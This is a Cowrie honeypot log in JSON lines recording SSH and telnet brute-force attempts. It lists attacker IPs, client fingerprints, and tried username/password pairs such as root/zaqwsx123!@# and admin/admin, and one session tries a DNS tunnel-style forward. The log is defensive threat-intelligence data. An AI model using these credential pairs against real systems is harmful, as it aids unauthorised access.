{"eventid":"cowrie.login.failed","username":"root","password":"poloniex456","message":"login attempt [root/poloniex456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:42.691986Z","src_ip":"162.241.129.208","session":"3eec0f4357be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:43.717052Z","src_ip":"162.241.129.208","session":"3eec0f4357be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":53592,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0c2cb19c95e","protocol":"ssh","message":"New connection: 154.70.102.114:53592 (10.17.0.5:22) [session: c0c2cb19c95e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:02.859188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:02.863634Z","src_ip":"154.70.102.114","session":"c0c2cb19c95e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:03.068348Z","src_ip":"154.70.102.114","session":"c0c2cb19c95e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaqwsx123!@#","message":"login attempt [root/zaqwsx123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:03.917382Z","src_ip":"154.70.102.114","session":"c0c2cb19c95e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:05.125404Z","src_ip":"154.70.102.114","session":"c0c2cb19c95e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":39712,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d0191b16d81","protocol":"ssh","message":"New connection: 103.172.78.219:39712 (159.203.135.109:22) [session: 4d0191b16d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:07.138005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:07.144074Z","src_ip":"103.172.78.219","session":"4d0191b16d81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:07.406697Z","src_ip":"103.172.78.219","session":"4d0191b16d81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cgfhnfrxtvgbjy","message":"login attempt [root/cgfhnfrxtvgbjy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:08.197076Z","src_ip":"103.172.78.219","session":"4d0191b16d81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:09.462972Z","src_ip":"103.172.78.219","session":"4d0191b16d81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":14884,"dst_ip":"10.17.0.5","dst_port":22,"session":"296498ea4d01","protocol":"ssh","message":"New connection: 147.45.199.80:14884 (10.17.0.5:22) [session: 296498ea4d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:25.935644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:25.939591Z","src_ip":"147.45.199.80","session":"296498ea4d01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:26.037709Z","src_ip":"147.45.199.80","session":"296498ea4d01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"papa12345","message":"login attempt [root/papa12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:26.331677Z","src_ip":"147.45.199.80","session":"296498ea4d01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:27.432677Z","src_ip":"147.45.199.80","session":"296498ea4d01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":9406,"dst_ip":"159.203.135.109","dst_port":22,"session":"6da9bfb765a1","protocol":"ssh","message":"New connection: 176.53.159.196:9406 (159.203.135.109:22) [session: 6da9bfb765a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:31.723982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:31.729744Z","src_ip":"176.53.159.196","session":"6da9bfb765a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:31.824414Z","src_ip":"176.53.159.196","session":"6da9bfb765a1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:32.111383Z","src_ip":"176.53.159.196","session":"6da9bfb765a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:32.206747Z","session":"6da9bfb765a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:32.303282Z","src_ip":"176.53.159.196","session":"6da9bfb765a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:32.401247Z","src_ip":"176.53.159.196","session":"6da9bfb765a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":39452,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4d26cb8c986","protocol":"ssh","message":"New connection: 154.70.102.114:39452 (10.17.0.5:22) [session: e4d26cb8c986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:43.958455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:43.962068Z","src_ip":"154.70.102.114","session":"e4d26cb8c986","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:44.174258Z","src_ip":"154.70.102.114","session":"e4d26cb8c986","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe@1234","message":"login attempt [ubuntu/qwe@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:45.062329Z","src_ip":"154.70.102.114","session":"e4d26cb8c986","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:32:46.277041Z","src_ip":"154.70.102.114","session":"e4d26cb8c986","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":46554,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c85e2a1d475","protocol":"telnet","message":"New connection: 137.184.5.188:46554 (159.203.135.109:23) [session: 6c85e2a1d475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:33:09.069721Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":53544,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a44f2e328eb","protocol":"ssh","message":"New connection: 154.70.102.114:53544 (10.17.0.5:22) [session: 6a44f2e328eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:33:25.978264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:33:25.983122Z","src_ip":"154.70.102.114","session":"6a44f2e328eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:33:26.186696Z","src_ip":"154.70.102.114","session":"6a44f2e328eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Abc12345","message":"login attempt [ubuntu/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:33:27.033458Z","src_ip":"154.70.102.114","session":"6a44f2e328eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:33:28.239999Z","src_ip":"154.70.102.114","session":"6a44f2e328eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":33686,"dst_ip":"10.17.0.5","dst_port":22,"session":"8098c18acc1e","protocol":"ssh","message":"New connection: 91.92.40.176:33686 (10.17.0.5:22) [session: 8098c18acc1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:33:31.843782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:33:31.847982Z","src_ip":"91.92.40.176","session":"8098c18acc1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:33:31.928786Z","src_ip":"91.92.40.176","session":"8098c18acc1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:33:32.182989Z","src_ip":"91.92.40.176","session":"8098c18acc1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:33:33.267612Z","src_ip":"91.92.40.176","session":"8098c18acc1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":46484,"dst_ip":"159.203.135.109","dst_port":22,"session":"96ebd1e5b4fd","protocol":"ssh","message":"New connection: 103.27.238.116:46484 (159.203.135.109:22) [session: 96ebd1e5b4fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:03.053579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:03.057402Z","src_ip":"103.27.238.116","session":"96ebd1e5b4fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:34:03.332251Z","src_ip":"103.27.238.116","session":"96ebd1e5b4fd","protocol":"ssh"}
